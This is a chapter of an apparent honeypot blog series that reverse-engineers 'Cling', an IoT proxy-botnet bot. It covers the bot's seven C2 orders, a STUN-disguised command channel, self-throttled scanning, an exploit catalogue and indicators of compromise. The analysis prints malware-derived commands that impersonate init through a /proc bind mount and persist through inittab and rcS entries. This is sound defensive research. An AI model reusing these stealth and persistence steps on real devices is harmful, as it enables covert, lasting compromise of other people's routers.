Cling · Chapter 19
A Mirai that couldn't attack?
I pulled down the three binaries from the previous chapter expecting the usual DDoS arsenal. It wasn't there: not one attack function. What it does instead —and above all, the channel its orders arrive on— is the strangest thing that has come through the honeypot. A bug designed, top to bottom, not to be seen.
In the previous chapter I caught the infection: a multi-architecture shotgun, rotating names, a wave of binaries whose hashes change every few hours. VirusTotal calls it «Mirai», everything pointed to another DDoS bot — so I opened it in Ghidra looking for its attack arsenal. There isn't one. And that absence is the whole chapter.
01It can't attack
A bot of the Mirai school carries a table of attack methods —attack_udp, attack_tcp, floods of every kind— and a C2 protocol with opcodes to fire them. I went looking and found nothing: no attack method table, not a single flood of any kind, not one credential or Telnet scanner, not one attack opcode in its C2.
Not one attack function. Not obfuscated, not hidden: absent. And it's not that I didn't look properly: in the entire binary there is a single raw socket —the thing you need to craft a packet by hand— and it doesn't belong to any flood, it belongs to the scanner: the one that fires its probes with the source port nailed to 9999. Not one more. A DDoS bot with no way to do harm is a contradiction in terms. So what is it? Its own command loop says: it reads the order byte and jumps to one of seven branches —not one more— and none of them is an attack.
switch (order - 1) { // 7 branches = 4 actions + their 3 off switches
case 0: FUN_080491e7(); // 1 · shell (system with whatever it downloads)
case 1: … FUN_0804a77c(); // 2 · scanner + loader
case 2: … // 3 · stops the scanner (closes its sockets, no function of its own)
case 3: … FUN_08049b45(); // 4 · reverse TCP relay
case 4: … // 5 · stops the relay
case 5: … FUN_08049469(); // 6 · SOCKS tunnel
case 6: … // 7 · stops the tunnel
} // 4 functions, not one an attack — no flood, no eighth branchThe four orders that actually do something (the other three only switch them off):
- A remote shell. One order opens a connection, reads whatever it's sent and passes it to system(). Command execution to order.
- A scanner with a loader. It hunts new victims —through its exploit catalogue, not over telnet— and injects the bug into them: its own way of spreading (in depth in §06).
- A reverse TCP relay. It listens on a port and forwards every connection to another address: it acts as a pipe.
- A multiplexed SOCKS-style tunnel. Its own framing protocol, up to 254 channels at once, TCP and UDP.
Of the four, the scanner is just how it gets more nodes; the other three —shell, relay and tunnel— are the business: not taking services down, but giving access and giving an exit. It's a proxy node — a pipe through which someone else's traffic reaches the internet wearing the face of an infected household gadget. The repositories label it Ngioweb —the engine behind the residential proxy service NSOCKS— though that label comes with caveats we'll get to in the thread. None of which is known to the engines calling it «DDoS».
02The seven orders
The C2's jump table has seven entries. I recovered them one by one:
| Order | What it does |
|---|---|
| 1 | Remote shell: downloads a command from an IP:port and passes it to system() |
| 2 | Starts the scanner/spreader. The IP:port is the loader it will inject into new victims |
| 3 | Stops the scanner |
| 4 | Reverse TCP relay to an IP:port (only if the machine has a public IP) |
| 5 | Stops the relay |
| 6 | SOCKS-style tunnel: 254 channels, open/data/close, TCP and UDP |
| 7 | Stops the tunnel |
Order 2 explains a loose end from the previous chapter: the delivery server isn't in the binary because it arrives here, in an order. The operator tells the bot which IP to serve binaries from to the next victims. Loader and server are interchangeable without recompiling — nothing fixed, once again.
03The C2 that talks over the phone
So where do those orders come from? Here's the strangest thing I've seen. On startup, the bot opens thirteen UDP sockets and speaks STUN to thirteen different servers.
STUN is the protocol video-call apps use to work out their own public address when they're behind a router. And Cling speaks it for real: it sends a Binding Request with the genuine magic cookie (0x2112A442), and pulls its public port out of the reply (the XOR-MAPPED-ADDRESS attribute, un-XORed with 0x2112). Thirteen servers, thirteen public ports learned.
With that, it emits its registration beacon to all thirteen, every 5 seconds. The tag goes first and the 13 ports after it, so the size is the length of the tag + 26 (13 × 2 bytes): with «telnet», 6 + 26 = 32 bytes.
74 65 6c 6e 65 74 94d7 ccb0 ad10 899a d13a b090 …
└─── "telnet" ────┘ └──── 13 public ports (2 B each) ──────┘
the tag one for each of the 13 socketsIt's its calling card: it tells whoever is listening who it is (the tag) and where to reach it (the thirteen ports). And here's the beauty of the disguise: to a network monitor, a gadget sending UDP to thirteen STUN servers looks like a phone making video calls. Nobody raises an eyebrow.
04The door with no lock
The orders come back through those same thirteen sockets —the STUN ones— as 20-byte packets. And their structure has two details that run from elegant to reckless.
+0 8 bytes STUN header (type, length, magic cookie) <- the bot ignores them
+8 12 bytes the transaction ID slot <- here rides the order, in disguise
────────────
20 B = a complete STUN header, no attributesThe twenty bytes are, exactly, a complete STUN header with no attributes. The first ones —type, length, cookie— the bot ignores. The rest is the slot where STUN puts its transaction ID, an identifier a real client generates at random… except that here, in that slot, the order rides. The bot only reads a handful of those bytes; the rest it doesn't care about. That's why an order walks past a firewall as STUN: it has the shape of a STUN header, with its cookie in the right place.
Now, careful with what this doesn't prove. A 20-byte order is enough for the bot: a few bytes of command and the rest ignored. A real Binding Response looks nothing like it —it carries the client's address in the XOR-MAPPED-ADDRESS attribute, so it weighs more, and it echoes the transaction ID of the request it answers—. It would be tempting to conclude that orders can therefore be caught on the fly among STUN traffic. But I captured no real order —nobody ever commanded my bot— so I'm inferring this from the decoder, I didn't see it on the wire. And there's a catch: since the bot ignores almost the whole packet, the operator can dress the order up with a fake XOR-MAPPED-ADDRESS and an ID that mimics a response, and it would obey just the same. The network signature you can trust, therefore, is in what the bot emits —its beacons, which we'll watch leave in the cage—, not in what it receives, which can be disguised as anything. inferred
Elegant. What follows, not so much:
05Ask it who it is and it answers «init»
A proxy node has a goal a DDoS bot doesn't share: not being found, so it can last years inside someone's router. The first thing Cling does on startup is steal the identity of process number 1.
cp /proc/1/stat /proc/1/status /proc/1/cmdline /tmp/
mount --bind /tmp /proc/<its_own_pid>On Linux, to find out what a process is you look at /proc/<pid>/status. Cling mounts over it the data it copied from init. You ask who it is, and the kernel answers «init» — the most untouchable process on the system. And it finishes the job: process name blanked (prctl(PR_SET_NAME, "")), its command line wiped to spaces, the hardware watchdog disabled (so the device doesn't reboot and take it down with it) and, if it's root, -1000 in oom_score_adj: «kill whoever you like except me».
06The scanner with manners, and the killer with none
To get more nodes, Cling scans the internet — like everyone else. But with a detail I hadn't seen before: before scanning, it times itself. It sends a thousand packets to 8.8.8.8, measures how long they take, and works out how fast it can scan without choking the victim's connection. Mirai goes flat out because it doesn't care about lasting; this one throttles itself so the owner doesn't notice their internet has slowed down. A bug that wants to stay can't afford to sing. And yet it sings in one detail: all its probes go out with the source port fixed at 9999 —a normal scan leaves it random— so a burst of SYNs all leaving from 9999 towards router ports is, all by itself, its signature.
When it finds a target, it fires whichever exploit fits, from a catalogue of eight doors —the usual router and video-recorder repertoire—:
| Port | Target | Tag |
|---|---|---|
| 7547 | TR-064 / CWMP (the 2016 Deutsche Telekom case). Signature User-Agent: clingwashere | tr064.selfrep |
| 52869 | Realtek SDK UPnP (CVE-2014-8361) | selfrep.realtek |
| 60001 | JAWS (MVPower recorders) | selfrep.jaws |
| 85 · 80 · 8080 | TBK DVR · Linksys «TheMoon» · B-Link/Tenda · router CGI | selfrep.* |
| 9034/udp | command injection in the Realtek Jungle SDK (CVE-2021-35394) | realtek.selfrep |
Almost every door has its own —seven tags for eight requests: jaws signs two—: tr064.selfrep, selfrep.realtek… and it's the one the bot reports as argv[1] when it spreads that way. (The two Realtek ones aren't a typo of mine: selfrep.realtek is the 2014 UPnP, realtek.selfrep the 2021 Jungle SDK — the bug itself writes them with the words swapped.) But notice: telnet isn't on the list, and Cling neither brute-forces passwords nor scans port 23. So how did it reach our honeypot with the telnet tag (ch. 18)? Because whoever put it there wasn't Cling: it was a separate telnet loader —another piece of the delivery machinery— that forced port 23, dropped the recipe and launched the binary stamping telnet on it. argv[1] records who brought it, even if the bug can't open that door itself. It's the ecosystem's division of labour: a loader spreads, the bot is the cargo.
An amusing detail of its own spreading: when Cling does get in —through the Realtek UPnP— it leaves a mapping in the router's NAT table tagged syncthing, disguised as a legitimate program.
07It persists — because it's a proxy
The acid test for the thesis: Mirai deliberately doesn't persist (it lives in memory; a reboot wipes it). Cling does the opposite — it copies itself to disk and nails itself into startup through three mechanisms, to cover different firmwares:
cp <self> /root/.cling ; cp <self> /usr/local/bin/.cling
echo ::once:/root/.cling >> /etc/inittab # BusyBox init
echo /root/.cling >> /etc/init.d/rcS # SysV
echo /root/.cling >> /etc/rc.d/rc.boot # rc.bootIt survives a reboot. In a DDoS bot that would be a strange luxury; in a proxy node it's the requirement: what you're asking of it is precisely that it still be there tomorrow. Persistence isn't decoration — it's the confirmation of what it's for.
08I switched it on (in a cage)
Everything above comes from reading the binary. But the beacon above —that tag followed by the thirteen ports, every 5 seconds— I wanted to watch actually leave. So I did something that never happens on the honeypot: I ran it.
And out came exactly what the code said: thirteen Binding Requests, thirteen ports learned, and from there the beacon to all thirteen servers, every 5.0 seconds, sustained — 741 beacons: fifty-seven rounds of thirteen, over almost five minutes. Then it went still, listening for orders on those same thirteen sockets. In the cage nobody sends any, so there it stays — beating its heart into the void.
sendto(0, "\x00\x01\x00\x00\x21\x12\xa4\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 20, {74.125.250.129:19302}) # Google
└ cookie ┘└──── transaction ID = ALL ZEROS ─────┘
sendto(1, "\x00\x01\x00\x00\x21\x12\xa4\x42\x00…", 20, {145.249.115.184:3478}) # 145, the suspect — same greeting
… 13 identical sendto calls, one per socketThat 21 12 a4 42 is the STUN magic cookie: it speaks the real protocol. And look at the second one — to the future suspect, 145.249.115.184, it sends the same greeting as to Google. Indistinguishable.
But there's one slip the disguise doesn't cover: the twelve bytes following the cookie —the transaction ID, which a video-call client generates at random on every request— go out as zeros. Always. Cling doesn't bother randomising them. And that is a lovely network signature: a Binding Request with a blank transaction ID is sent by no phone on earth. It's sent by this.
That heartbeat also answers a question the code left open: how does the reply get back to the bot if it's behind a router? Every beacon punches a hole in the victim's NAT —the usual NAT traversal mechanism— and keeps it open by beating every 5 seconds. It isn't a shout into the void. But what really changes things is in the last batch of the strace: where the bug talks, and where it doesn't.
the 13 STUN IPs ...... all 741 beacons (one every 5 s; 145.249.115.184 among them)
0.0.0.0 .............. 13 (socket bind — not a real destination)
127.0.0.1:33957 ...... 1 (the single-instance lock)
any other IP ......... 0 ← not a single packet to anything elseThere is no separate C2 anywhere: the bot talks to nobody but those thirteen addresses — not one packet goes to any other. (What that implies about the operator is in the thread.)
09The question that's left
The bot announces its thirteen ports —its calling card, so it can be reached— only to those thirteen servers. Nobody else: the strace shows it, «any other IP: 0». So whoever wants to send it an order must have received that card — must be one of the thirteen. And this doesn't depend on how the victim's router is configured: one of those thirteen STUN servers belongs to the operator. There's no other plausible route for the command to reach it — bar a remote loophole I chase in the thread.
And that's the problem, and the hook for the next piece. I looked at all thirteen, one by one, on Shodan: they are public STUN servers belonging to real VoIP providers —IONOS, Google, LeaseWeb, a British ISP, Russia's SIPNET…—. Eleven of the thirteen were answering STUN when I wrote this, in early September. At first glance, none of them is «the operator's mailbox»: they all look like unwitting victims of a brilliant disguise.
But we already know better: the bot announces its ports to those thirteen only, so one of them has to be the mailbox. Which one? That question —separating the twelve innocent servers from the one that's a mailbox hidden in plain sight— isn't answered by reading the binary. It's answered by pulling on the thread. And that's what I do next, in Pulling the thread.
10Indicators (IOCs)
Since the operator rotates the binaries every few hours (ch. 18), the hashes are worth little. What catches Cling is its behaviour:
| Type | Value |
|---|---|
| Network signature seen | an IoT device speaking STUN to 13 servers almost simultaneously (UDP to :3478/:19302) with the transaction ID all zeros (a real client randomises it) · beacon of tag + 26 B every 5 s to all thirteen |
| Telltale string | clingwashere as User-Agent towards 7547 |
| Scanner signature | outbound SYNs with source port fixed at 9999 to 80/8080/85/60001/52869/7547 |
| Persistence | /root/.cling · /usr/local/bin/.cling · .cling in inittab/rcS/rc.boot |
| init impersonation | a /proc/<pid> that is a bind mount of /tmp (identical to /proc/1) |
| Local lock | 127.0.0.1:33957 listening |
| C2 protocol inferred | a 20 B UDP order with a STUN cookie; the bot reads a handful of bytes from the transaction ID slot and ignores the rest, with no authentication. Inferred from the decoder — we captured no order; and since it ignores the remaining bytes, the order can be disguised: it is not usable as a reliable network signature |
To be continued — in Pulling the thread: twelve innocent STUN servers and a mailbox hidden among them. How to tell one from the other twelve using nothing but public records — and where it leads. 🍯
Comments